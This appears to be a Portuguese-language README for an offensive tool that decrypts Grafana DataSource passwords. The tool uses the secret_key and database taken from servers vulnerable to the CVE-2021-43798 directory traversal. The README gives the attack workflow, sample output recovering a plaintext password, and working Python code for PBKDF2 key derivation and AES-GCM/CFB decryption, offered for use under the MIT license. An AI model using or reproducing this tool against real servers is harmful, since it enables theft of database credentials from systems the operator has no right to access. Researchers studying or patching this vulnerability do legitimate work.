
Descriptografa senhas do DataSource do Grafana explorando o directory traversal CVE-2021-43798 para recuperar arquivos de configuração e derivar chaves de criptografia.
Este script decripta as senhas do DataSource de uma instância do Grafana vulnerável ao CVE-2021-43798, que permite leitura não autorizada de arquivos arbitrários.
As versões do Grafana 8.0.0-beta1 até 8.3.0 são vulneráveis a uma vulnerabilidade de travessia de diretório que permite que usuários não autorizados leiam arquivos arbitrários no servidor. Este script explora essa vulnerabilidade para decriptar as senhas do DataSource encontradas no arquivo grafana.db usando a secret_key encontrada no arquivo de configuração grafana.ini.
requestsquestionarytermcolorcryptographypip install requests questionary termcolor cryptography
grafana.db e grafana.ini da instância do Grafana alvo.python decrypt.py
Você também pode codificar uma senha em texto plano usando o script, removendo os comentários do código de exemplo no script.
O script determina o algoritmo de criptografia usado analisando o payload. O algoritmo de criptografia padrão é aes-cfb.
Usando o algoritmo de criptografia derivado e a secret_key do grafana.ini, o script decripta a senha do DataSource.
O script também inclui funcionalidade para criptografar uma senha em texto plano usando o mesmo método de criptografia e a secret_key.
######################################
GRAFANA DECRYPTOR
CVE-2021-43798 Grafana Unauthorized
arbitrary file reading vulnerability
SICARI0
######################################
? Enter the datasource password: anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
[*] grafanaIni_secretKey= SW2YcwTIb9zpOOhoPsMm
[*] DataSourcePassword= anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
[*] plainText= SuperSecureP@ssw0rd
def decrypt_gcm(block, payload):
gcm = Cipher(algorithms.AES(block), modes.GCM(payload[SALT_LENGTH:SALT_LENGTH+12]), backend=default_backend()).decryptor()
return gcm.update(payload[SALT_LENGTH+12:]) + gcm.finalize()
def decrypt_cfb(block, payload):
if len(payload) < 16:
raise ValueError("Payload too short")
iv = payload[SALT_LENGTH:SALT_LENGTH+16]
payload = payload[SALT_LENGTH+16:]
decryptor = Cipher(algorithms.AES(block), modes.CFB(iv), backend=default_backend()).decryptor()
return decryptor.update(payload) + decryptor.finalize()
def encryption_key_to_bytes(secret, salt):
kdf = PBKDF2HMAC(
algorithm=hashes.SHA256(),
length=32,
salt=salt,
iterations=10000,
backend=default_backend()
)
return kdf.derive(secret.encode())
def decrypt(payload, secret):
alg, payload = derive_encryption_algorithm(payload)
if len(payload) < SALT_LENGTH:
raise ValueError("Unable to compute salt")
salt = payload[:SALT_LENGTH]
key = encryption_key_to_bytes(secret, salt)
block = algorithms.AES(key)
if alg == AES_GCM:
return decrypt_gcm(key, payload)
else:
return decrypt_cfb(key, payload)
def encrypt(payload, secret):
salt = os.urandom(SALT_LENGTH)
key = encryption_key_to_bytes(secret, salt)
block = algorithms.AES(key)
iv = os.urandom(16)
encryptor = Cipher(algorithms.AES(key), modes.CFB(iv), backend=default_backend()).encryptor()
encrypted = encryptor.update(payload) + encryptor.finalize()
return salt + iv + encrypted
Estas funções lidam com os processos de decriptação e criptografia.
Sinta-se à vontade para abrir issues ou pull requests se encontrar algum bug ou tiver sugestões de melhorias.
Este projeto está licenciado sob a Licença MIT. Consulte o arquivo LICENSE para mais detalhes.